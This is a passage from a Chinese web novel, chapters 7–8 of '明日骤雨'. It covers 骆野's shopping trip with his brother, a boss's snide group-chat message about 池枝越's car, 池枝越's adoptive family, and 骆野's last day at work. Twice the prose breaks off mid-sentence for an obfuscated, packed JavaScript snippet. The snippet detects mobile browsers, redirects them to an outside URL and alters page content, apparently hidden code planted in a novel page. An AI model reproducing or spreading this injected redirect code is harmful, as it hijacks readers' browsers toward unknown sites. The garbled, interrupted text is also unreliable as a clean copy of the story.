赞完一圈,骆野收到万青发来的几个感叹号。 【骆野】:你还没睡? 【万青】:新领导又在群里发神经了 万青吐槽过新领导好多回了,那人姓梅,有一股老派的狗仗人势,拜高踩低,爱搞酒桌文化,每次团建或者见客户都让他们喝酒。 大家能躲就躲,所以很少来公司。 万青说其中池枝越最硬气,哪怕在公司也次次不去,后来大家也跟着硬气起来了,酒桌文化才渐渐淡去。 【万青】:他不是因为那个事,老早看池枝越不爽了嘛 【骆野】:嗯我知道 【万青】:今天下午他看见池开车接你,就在群里那里说了,在那里阴阳怪气地单独提他【截图】 截图亮起的瞬间。 骆野原本放松的尾巴瞬间绷紧,尾尖猛地炸毛。 “靠!这人有病吧?” 7. 明日骤雨 图片里,外策一群的梅领导发了条视频,然后at了全体成员,写了一堆话。 【最近看大家日子都越过越滋润了,车是一辆比一辆亮眼,只是提醒一句,大家还是还是要低调务实,别太张扬,免得外面人看了,说咱们团队风气不好。大家都是靠本事吃饭,但分寸感,还是要有的。@池枝越 小池你说对不对啊?】 “对个屁啊。”骆野看一句翻一个白眼。 什么叫有分寸感,这又不是他买的车,还指点上人了。别人买辆坦克都跟他没关系好吧,又不是他爹。 真是蠢驴一头,官不大,架子不小。 【骆野】:能忍受这样的领导,他们也挺辛苦的。 【万青】:习惯了,我们现在拿他说话当放屁 【骆野】:池呢?他没事? 【万青】:不知道 【万青】:反正我笑的挺开心的【截图】 万青又发来一张截图,是领导发言完后过十五分钟池枝越的回复。 【池枝越】:我知道了 【池枝越】:我明天就去买辆五菱宏光接客户,谢谢领导提醒【可怜表情】 骆野:“……” 他那根炸毛的尾巴,一点点软了下去。 【万青】:太茶了哈哈哈。 【骆野】:我没觉得哪里茶啊。 【骆野】:这不是挺真诚的吗? 【万青】:? 【万青】:o.O 【万青】:哥们你玩梗还是真看不出来? 【骆野】:看出什么? 骆野真没看出什么,只看出那几个表情看着挺委屈的。 万青半天没回复,等骆野把碗洗了,才发来一段视频链接。 【万青】:【警惕网恋诈骗骗局,卖惨哭穷要小心:分享这个链接给你的朋友吧】 【万青】:不用谢 【骆野】:O.o? 【万青】:将来被网骗了,可别怪我没提醒你 【骆野】:? 没等骆野追问明白,万青说要去吃别的瓜,明天再聊,直接下线了。 骆野起身去洗漱,回了卧室。 躺在床上,他又把那段对话翻来覆去看了一遍,依旧没看出不对劲,反而越看越愧疚。 要是池枝越没送他去医院,就不会被那蠢货领导看见,也用不着听这些糟心话。 骆野想起池枝越在车上跟他聊天的样子,温温和和,无论说什么都很平静。 他们的影子在车厢里交叠进同一片灰暗,又像此刻天花板的月色一样挪移。 “……香水味挺好闻的。” 话没经过脑子,直接脱口而出。 他盯着天花板,直到手机自动熄屏,侧身睡觉。 这一觉直接睡到了八点,骆野醒来后神清气爽。 量了体温,烧已经退了大半,便跟打扫卫生的骆芃提议出去逛逛。 “感冒好了?”骆芃撑着扫把问。 “感觉差不多了,出去呼吸呼吸新鲜空气。”骆野摸了摸自己的额头,确实不凉了,“顺便给你买点衣服,不然下次没时间了。” 骆野昨天稍微提了句自己要出远门的事,骆芃没存疑,点了点头。 骆野戴上假镜框和黑色的毛线帽,衣服是黑色宽松羽绒服,里头白色高领毛衣,洗白灰的直筒牛仔裤。 脖子上挂了部尼康复古微单相机Zf,准备拍点素材剪视频。 骆野够随性了,结果骆芃比他还随性,直接套了件冬装校服。 还好学校的冬装像冲锋衣,去掉校牌就和普通衣服一样,不然骆野早把人按回去换了。 他们去了南城最繁华的商业街,几家奢牌名字挂在商场大门口,各种明星半兽人海报露在外头。 路面铺得干净利落,一眼望出去笔直舒展,连着深冬特有的淡灰蓝天空。 两人先去商场里逛,骆野挑了几件外套。骆芃乖乖当衣架子换上,但还是担心价格:“为什么突然买衣服了?这件多少钱?贵不贵啊?” “这件太小了,换大一码。”骆野先指挥店员,再转向弟弟,语气沉了沉,“穿就行了,你哥现在有钱了,不用像以前那样了。” “哦……”骆芃默默转身去换衣服。 他所说的“以前”,指的是他们最苦的那两年。 他们挤在一间月租八百的逼仄出租屋里生活,那屋子小得转不开身,只塞得下一张破旧大床、一张掉漆的木桌,还得去楼道尽头排队做饭。 天花板上的霉斑黑得发沉,顺着墙缝往下蔓延,擦了又长,像是永远去不掉。 那时的秋天对他们而言从来不是什么丰收季,是墙根阴湿的苔藓,是角落挥之不去的霉味。 衣服永远是潮湿的,洗了又干不透,贴在身上又冷又寒,所以他们很少买新衣服,穿破了才偶尔买两件。 因此,骆野有钱后第一件事就是买很多衣服,塞满两人的衣柜。特别是知道自己要死之后,什么好的都要给骆芃安排上。 因为他知道,就算骆芃到时候拿了他的银行卡,也会一直存着,到死都不会用。 选完衣服,骆野又去别的店买家里用品。 骆芃垂着尾巴,一只手腕戴着防走散的儿童电话手表,另一只手拎着两大袋衣服,乖乖跟在后面。 两人在商场吃完中饭,从南门出来,在遇到冷气的那刻,悄悄收回了尾巴。 路过手工棉花糖小摊时,骆芃的目光不自觉往那边瞟了眼。 骆野一眼看穿,转头对师傅说:“师傅,给我做一个兔子的吧。” 师傅的话匣子一打开就收不住,手里卷着棉花糖,嘴也没停。 从天南地北的见闻,聊到自己远在大连的老家,又絮絮说起过年打算去广东走一趟。 兄弟俩就站在一旁听着,有一搭没一搭地应和。 不一会儿,两个小巧的棉花糖先做好,再和大团蓬松柔软的糖云拼在一起,一只软乎乎的兔子棉花糖就这么出炉了。 师傅听骆野要拍照,立刻爽朗地往镜头前站定,比了个大大的剪刀手:“刚好刚好,把我这老头拍的帅一点就行,嘿嘿。” 骆野弯眼笑了笑,抬手按下快门。 光线刚刚好,背景被柔焦虚成暖雾,师傅脸上的皱纹里盛着笑意,健康又鲜活。 骆野挺满意的,是张很有烟火气的好照片。 他刚收起相机,接过那只兔子棉花糖,听见一道轻快明亮的女声:“骆芃?” 骆野倏地扭头。 距离他们两个摊位的地方,站着个戴着重音耳机的小姑娘,蓝白拼色的休闲穿搭,浅褐色的蘑菇头。 小巧的瓜子脸,欧式大双眼皮格外亮眼,看着年龄不大。 骆野用胳膊怼了怼认真吃棉花糖的骆芃。 骆芃慢吞吞抬起头,没半点意外,淡淡应了声:“哦,你啊。” 姑娘几步走近,语气熟稔:“我刚刚就看到你了,没敢认,但一想出门爱穿校服的大块头也就你了。” 骆芃面无表情地咬掉一截兔子耳朵:“你来这里干嘛?” “去联名咖啡店买周边啊,难道你不……” 姑娘说到一半,突然发现旁边的骆野了,立刻礼貌地微微弯腰:“你好,我是许梦桦,骆芃的同桌。” 一听“同桌”二字,骆野立刻有了印象。 骆芃以前提过他同桌是班里最能闹腾的话痨,上课小动作不断,要不是成绩稳居年级前列,早就被老师罚站十几回了。 骆野一直以为同桌是个皮实的男生,没料到是这么机灵可爱的小姑娘。 “你好,我是骆芃的哥哥,”骆野微微一笑,“刚好,你想吃什么?我请你吧。” “真的吗?!”许梦桦问。 “真的。”骆野回答。 许梦桦太惊喜了,她刚才还在偷偷打量眼前这个帅哥,现在更是疯狂加分。 束发,帅,加分;上挑眼,帅,加分,满分100分现在已经到120了。 尤其眼角下那两颗痣,她好像在哪里见过,但现在想不起来了。 总之也能加分,最终得分2540分。 许梦桦伸手戳了戳骆芃胳膊,认真地问:“骆芃,你哥是天使吗?” “呵呵,”骆芃瞥了她眼,“你知道的太晚了。” 骆野就这么被俩高中生哄成了胚胎,听得嘴角翘老高,心情大好。 赶紧让师傅再做根棉花糖,又去隔壁买了串烤肠和扎小酥肉送给许梦桦。 几分钟后,吃完烤肠的许梦桦,捧着甜软的棉花糖,三人一起朝那家联名咖啡店走去。 她越走越开心,蹦出一对毛茸茸的棕熊耳朵,全程晃来晃去。 “我以为我哥不能来我会很无聊,没想到运气这么好能遇到你们。”许梦桦说。 “你哥?”骆野好奇地看着她。 “准确来说是养兄,”许梦桦手指点着自己下巴,“比我大十岁,现在是自营店的老板。” 骆野已经到了两遍都能理解的年纪了,帮着解释:“毕竟是老板,可能太忙了。” “他不是忙,是一到冬天就会头痛,”许梦桦吃了一口棉花糖,“不过他说今年遇到了能缓解头痛的人,最近确实好了不少。今天本来要跟我一起来的,临时有事,等结束后再来接我。” 这段话给骆野听的一愣一愣的。 这是什么奇怪设定?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206094|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 遇到能缓解头疼的人?把人当药引子用吗? 刚巧旁边的骆芃帮他问了问题:“没去医院检查吗?” 许梦桦回答:“去过,他各方面都挺好的,比我还健康。” “哦,那我知道了。”骆芃说。 两人都看着他。 骆芃:“你哥是外星人。” 骆野:“……” 许梦桦:“……你是伪人。” 说话间,他们走到了咖啡店,店铺不大,悬挂着一条“《太空仓库》联名咖啡厅”的横幅。 来的都是穿漂亮衣服的小姑娘,只有两三个玩牌的男生。 骆野两年前在网站上刷到过这部漫画的剪辑。当年还冷得没几个人看,没想到短短两年,居然火成了这样。 他下意识想起野草乐队。 他的第十八条遗愿清单,就是希望自己剪的视频能再火一次,或者野草乐队火一次。 “要是能在死前看到他们火起来就好了。”骆野指尖摸着联名小摆件,低声嘟囔了一句。 直到骆芃喊了他一声,他才回过神。 他走神的这会儿功夫,两个高中生已经站到收银台前结完账了。 许梦桦买了一大堆周边,还很大方地分给他们小动物挂件。 给骆野的是只有羽毛翅膀的小猫,给骆芃的是脑袋能三百六十五度转弯的小鸡。 骆芃的脑袋被骆野套上了个问号头箍:“为什么?” 许梦桦指着他:“因为你是幼稚的小学鸡。” “……”无法反驳但破防的骆芃扯下头箍,连同挂件一起塞进包里。 三人没急着走,又点了份精致的蛋糕下午茶。 桃红色的慕斯淋面在灯光下泛着细碎的光泽,软绵又漂亮,骆野举着相机拍了好几张照片。 许梦桦也在拍照片,她还想拍骆野,骆野当即谢绝了。 毕竟他快要死了,留下太多照片只会徒增伤感,还不如什么都不留下,慢慢被人忘掉。 不等骆野伤感,许梦桦下一个问题跟大卡车似的迎面冲来。 “哥哥你这么帅,应该有女朋友吧?” 骆芃警觉地抬眼,盯着骆野的侧脸。 许梦桦也虎视眈眈地凝视他。 骆野:“……?” 不是。 怎么感觉这两人是家长,他像是早恋被审问的那个学生啊? 骆野张开双手投降,说了自己没有对象。 许梦桦一下子来了兴致,说她认识一个在国外的漂亮姐姐,这几个月就要回国了,可以牵线搭桥。 骆野摇摇头,果断拒绝。不管是谁,他都不想耽误人家。 许梦桦不知道他的想法,有点遗憾,但没胡搅蛮缠,又和骆芃聊起作业的事。 咖啡厅的窗外,深冬的蓝色慢慢往下沉,远处的虹一点点亮起来。 倒计时在璀璨的灯火中又悄悄流走了一个半小时。 在广场分开之前,许梦桦拎着满满两大袋联名周边,眉眼弯弯地冲他们道谢:“你们想去游乐场吗?我有会员,你们要是想去可以叫我,能打折。” 骆芃半点不客套,淡淡应了声:“哦。” 骆野抬眼望向大马路,随口问道:“你哥什么时候来接你啊?” “快了,他说还有十几分钟,”许梦桦看了眼手机收到的消息,抬头冲他们摆手,“你们不是要等公交车吗?你们先走吧。” 骆野也不想打扰她和家人碰面,拉着骆芃的胳膊说:“嗯那行,到家了给芃芃发个消息。” “好的。”许梦桦乖巧地点头。 “拜拜。” “学校见哈。” 骆野牵着骆芃,转身渐渐融进了街角的霓虹。 许梦桦眉眼依旧弯成月牙,坐在路边的长椅上刷视频。 八分钟后,熟悉的黑车缓缓驶入面前的暂停区。 许梦桦立马打开后备箱,大包小包全都塞进去,关上门的瞬间,飞快钻进副驾驶。 车内暖和的温度瞬间包裹住耳朵和脸颊,许梦桦舒服地瘫在座位上,搓脸又搓手。 眯了眯眼,又缓缓睁开,转头看向驾驶座:“哥,你办什么事啊,怎么那么快就好了?” 没等对方说话,她又抱住抱枕,害怕得说:“不会真提了辆五菱宏光准备周一开过去吓你领导吧?不要啊,我喜欢你这辆车。” “……” 几秒钟的沉默后,清浅低沉的声音漫过车厢。 “我没那么无聊,我是去见朋友了。” 池枝越稍微调动内后视镜,侧头看向副驾驶的许梦桦,唇角扬起极淡却温和的笑容。 “你呢,今天玩的开心吗?” 8. 明日骤雨 “当然开心了!你不知道我遇到谁了,我遇到我同桌了!”再加上一声,“啪!” 许梦桦一高兴就会拍大腿。这次声音很响,还好裤子厚,不然腿能红。 车子“哐哧”一声下了减速带。 池枝越专注开车,有空才瞟了她一眼,顺手抽了张湿巾纸给她:“你每天很早走的同桌?” 许梦桦点头:“对!” 池枝越哦了一声:“你不是说他学习很好但又冷又像大冰块,和他说话都没劲吗?” 说这段的时间点还是在两天前。 不到两天就忘本了。也算许梦桦的个性。 “他是冷门了一点,他哥人好啊,长得帅还特别大方,请我们吃下午茶,跟他聊天也有意思。”许梦桦擦着脸,想起这段故事都带着笑容。 “一看就是灵灵姐就喜欢类型,可惜我拉郎配没成功,唉……他拒绝了。” 池枝越早就习惯许梦桦这个自来熟了,顺着话说:“你怎么不推百何,她天天在好友圈嚎脱单。” “对哦,下次再说吧,反正他哥也不谈。”许梦桦整个人往后倒,不停地揉搓自己的太阳穴,“你说你们为啥都不谈呢?换别人有你们这长相早成海王了,一天约一个。” 池枝越前面还听得漫不经心,听到后面眉头轻轻一皱:“哪儿学来的词,再说就给你断网。” 许梦桦立即地捂住了耳朵:“哎哟,又来了!他们是让你当哥哥不是当家长的!” 车辆跟着前车慢慢往前开,池枝越沉默几秒,也慢慢地开口:“那下次老师打电话叫人,你别留我的手机号,我可不是你家长。” “不行!”许梦桦整个人弹坐起来,换了手机那她不就完了吗? 池枝越不为所动,唇角勾起耐人寻味的笑容。 腹黑男……许梦桦在心里默默骂了一句,只能认输,对着他发誓再也不乱说话。 池枝越终于点头,许梦桦放下心,闭眼睡觉。 华灯初上,璀璨的灯火铺成一条光河,贯穿整座城市中心,车子一路平稳开向南城公寓。 等他们到家时,外面忽然下起了雨,细密的雨点像撒盐似的砸在窗上,伴着冷风钻进来。 池枝越走过去关上阳台门,顺手把透明的雨伞收起来。 刚转身,被许梦桦高亢的声音刺得耳尖发麻:“你们看我买了什么好东西!!” 池枝越:“……”这嗓子不去学美声真可惜了。 许梦桦把一堆周边摊在桌上,原本在卧室看书的池友凤,被女儿强行拽了出来。 母女俩长得很像,都是收窄的下巴,不过许梦桦没遗传池友凤的温柔,在客厅里上蹿下跳。 “这都是什么啊?”没戴老花镜的池友凤,东西拿远了才勉强看清,“这些能吃还是能用? “既然你问了,那我可给你好好介绍了。”许梦桦拉着妈妈坐下,扭头看池枝越,“哥你要不要听啊?” 池枝越刚要开口,就被泡茶的许有康拦了下来:“别霍霍你哥了,他都当半天司机了,让他歇会儿。” “他自愿的好吧。”许梦桦撅着嘴反驳。 “好啦,”池友凤到底还是爱女儿的,慈爱地捏了捏她的脸,“你跟我说就好。” 许梦桦一下子翘起熊耳,抱着池友凤大唱特唱《世上只有妈妈好》,边唱边挥动手里的周边。 于是就出现了许梦桦在唱歌,折叠棒上的两个小人在空气中疯狂亲嘴。 池枝越:“……”什么诡异的画面。 “枝越。” 一旁的许有康冲池枝越使了个眼色,池枝越跟他进了书房。 这书房是他们一家人公用的,于是有心理学的书,也有金融专科,更有三年高考五年模拟。 大小不一的书在红木书架里错落摆放,玻璃门映出池枝越清俊却沉静的侧脸。 他站在书桌前,许有康倒了两杯水,递给他一杯。 老头一说话又是老生常谈:“你也是,你太惯着梦梦了,没必要啥事都依着她,换我我就让她自己骑自行车回来了。” “上次她跑步跑累了,趴地上喘了几口你们就准备打120了了,这次要是真骑回来,你们得上呼吸机了吧。”池枝越语气清淡,戳破了许有康。 “你们兄妹的嘴哦!”许有康哼了一声,“刚生下就该让医生给你们俩塞个大枣堵住嘴。” 池枝越耸了耸肩:“那你只能喂她了,我又不是你们生的。” 许有康一拍脑门,大笑道:“哦对!我又忘了。” 许梦桦是他们四十岁才得来的小女儿,老来得子,一出生就是掌上明珠。夫妻俩怕自己走得早,将来梦桦没人陪伴,所以去孤儿院领养小孩,选中了当时十六岁的池枝越。 这十一年来,他们待他和亲儿子没两样,吃穿住行、补课学习,全都安排最好的。 池枝越也争气,计划清晰,有了自己的事业。今年回国说要进DFG公司看看,他们不理解,但也让他去了。 这也好,每天还能回家。家里一热闹,夫妇俩就会忘了池枝越是领养的,像这样一起说他们。 池枝越每次纠正时,心里其实都挺暖和的。 他斜斜靠着墙,身后的雨声淅淅沥沥。 许有康慢慢啜了口茶:“你微信里说,今天去海边了? “嗯。”池枝越点了点头。 “看来头疼真比以前好多了啊。”许有康欣慰地看着池枝越。 “都是托了他的福。”池枝越捧起水杯,“来公司还真是来对了。” 被茶叶泡开的水色,如同下午与天色连成一片的大海。 杯中茶水晕开的颜色,像极了下午与天际连成一片的大海。 昭楠的海不算澄澈,黄沙在水底沉沉浮浮,阳光一洒,粼粼波光里会掺着几分碧绿。 于是他看了很久。 久到有渔民问他为什么要在这里吹冷风。 奇怪的是,站了那么久,他没有半点不适,头脑清醒,连对方带着口音的方言都记得清清楚楚。 杯中水波渐渐平息,池枝越抬手喝了一口。 接着听许有康问他:“你不是说那个人要辞职了吗?你们私下见面?” “我没他的联系方式。”池枝越说。 许有康一愣:“还没呢?” “有工作号,但没加私人号,而且他警戒心很强还躲着我,没机会。” 池枝越摩挲着杯柄,想起那人炸起的毛发、猛然警觉的眼神,轻轻一笑。 “他最近好像不躲我了,我准备周一找他要个联系方式。” 许有康立马摇了摇头:“周一可不行。” “为什么不行?”池枝越抬头看他。 许有康拉开抽屉,从里面找出记事本,戴上老花眼镜开始翻页,最后在桌上展开:“你忘了吗?DFG不是接了杜若他家的产品吗?当时说好了你去找他,我也跟着去吃顿饭。” 池枝越脸色越来越沉:“……” 他真忘了。 跟杜若聊天他都当上班,每天打个卡就聊完了。这哥们也不在乎这些,他们就随性惯了。 池枝越抬手按了按眉心,难得露出几分烦躁。 池枝越少有那么情绪不佳的时候,许有康坐在软椅上安慰他:“反正你也不是DFG的人,属于流动人员,早点回来也没事,我留着陪小杜在青岛聊天就行了。” 池枝越接过本子,盯着那些黑字,说:“大概去几天?” “早点的话周二下午,迟的话,周三上午回来。”许有康收起这个本子,放回抽屉。 池枝越垂眸,掌心的杯子似乎都有了灼烧感:“周三,应该能赶上。” 骆野从周日忙到周三。 周日,他和骆芃说了辞职与“出去旅游”的事,骆芃表示能理解,会在家等他的。 骆野又是愧疚又是感动,感冒好的他当即带骆芃出去吃了大餐。 周一周二,他在公司交接工作。 他要交接的东西实在太多了,忙到带薪上厕所的时间都从半小时缩成了十五分钟。 好不容易全部收尾,转眼就到了周三。 周三上午,骆野在公司点了十几杯奶茶。他一开始不知道该选哪家,对着菜单犹豫了很久,最后还是照着微博网友的推荐下了单。 奶茶一到,他先拎起大杯红丝绒珍珠奶茶,上了九楼外策部。 外策部的格局和楼下不同,打卡门口设有独立前台,非本部门人员刷脸都无法进入。 骆野前两天来过一次,前台说池枝越还在出差,他特意等到了今天。 今天的前台是位新人,骆野没见过,应该是实习生。 小姑娘看到骆野,礼貌地站起来问:“你好?找人吗?” “池枝越回来了吗?”骆野望玻璃门里看了眼,里头人很少,没看到高大的身影,甚至万青都不在。 前台摇头说:“没呢,应该下午回来,你要给他寄东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206095|197343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “对。”骆野拉下口罩,奶茶放桌上。 “好的,我们这边统一登记,之后会送到工位上。”前台翻开一本册子,递到他面前,“您可以写下名字和物品。” 骆野打开名单表。 池枝越那一栏,从周一开始就陆续有人寄存东西,零零散散竟然有十六样。 “真受欢迎。”骆野边写字,边忍不住说,“会有喜欢他的人趁机塞东西吗?” 前台点点头:“以前有过,但他基本不收,要么退回,退不掉的就全部分给同事。” “只留喜欢的?”骆野写完盖上笔。 “你说话真逗,”前台收起本子,“不然留写讨厌的啊。” “也对,”骆野笑了笑,“谢谢你啊。” “不客气,有空多来坐坐。” 骆野摆了摆手:“我今天离职,有机会再来吧。” 和前台道别后,骆野乘电梯回到自己部门。 趁现在空闲,大家聚在茶水间喝奶茶,他们竖着各自毛茸茸的耳朵,聊这些年发生的故事。 比如遇到加班,凌晨时一起去吃宵夜;比如公司年会的抽奖,不在场的却是最大的奖,再一起吐槽那几个领导,那几个塌房的艺人。 还有赶过的节目;谁与谁在一起,哪个部门的又准备结婚;他们部门曾经得过的第一名。 慢慢聊下来,全是温柔又闪着光的回忆。 白楠依旧不舍得骆野走,眼巴巴地看着他:“师父!我只有一句话想说。” 骆野:“说。” 白楠拍打骆野的手背,郑重地说:“你走了以后,好友圈多发点自拍吧。” 骆野:“……你到底是有多爱看啊?” 茶水间哄堂大笑,周末天翘着兰花指调侃白楠:“啊?是谁刚进来的时候和我说骆野看着不好相处,现在那么好相处啦?” “哦?你说过?”骆野斜睨过去。 白楠支支吾吾地挪开视线,冲周末天吐了舌头:“我可没说过,你别污蔑人。” “我可有你发的语音啊,时间点我都有。” “我靠!你给我删了!我撤回!” 大家被这俩冤家逗的又是一阵笑,骆野也笑了起来。 不知道谁说了一声:“诶我们拍个照片吧!” 大家举起杯子,在骆野的工位前拍了一张集体合照,还有各色拍立得照片。 每张照片里,骆野都被簇拥在正中间,口罩松松垮垮褪到下巴,露出整张干净利落的脸,帅的特别显眼。 下午三点,做完收尾工作的骆野背上背包,在大厅等兰橘。 兰橘戴了副眼镜,穿着公司的外套,又成了一款春卷。 骆野今天也套了公司的外套,再一条骆芃选的网格围巾。不过他人高腿长,肩线利落,看着很利落。 两人坐在“非你不渴”靠窗边的位置,一人点了杯拿铁。 兰橘搓着肉脸问:“这老万青呢?不是说下午就回来了吗?” “问问呗。”骆野说着已经拿起了手机。 【骆野】:青哥,我和橘子就等你呢 【万青】:来了来了,我刚回来,拿个东西 【万青】:别走! 【万青】:等我! 【万青】:我马上跳楼! 【骆野】:不至于不至于 “你猜这老万青几分钟能来,”兰橘问。 “按他的速度,五分钟吧。”骆野看着倒计时说。 今天的天空是淡得发柔的浅蓝,前两日的雨把云都洗得干干净净,只剩几缕轻薄云丝懒懒飘着,倒计时的数字也清透干净了不少。 五分三十八秒后,风尘仆仆的万青冲了进来,手里还攥着一杯奶茶。 骆野目光落在那杯奶茶上,跟他早上点了一个牌子。 看来网友说的没错,这个家店确实好喝,连万青这个不爱喝奶茶的都点了。 等万青坐下,兰橘调侃他:“万哥发达了啊,都喝上十几块钱的奶茶了。” “对啊,什么时候请我们呗。”骆野笑眯眯地开玩笑,顺手端起咖啡杯,慢慢喝了一口。 万青低头看了眼手里的东西,想想由来就高兴,笑着说:“我怎么可能点这么贵的奶茶啊,这杯是池枝越不要了丢给我的。” ……什么? 骆野像被风忽然吹熄的灯,脸上的笑意瞬间僵住。 猛地转头看向万青:“你说谁给你的?”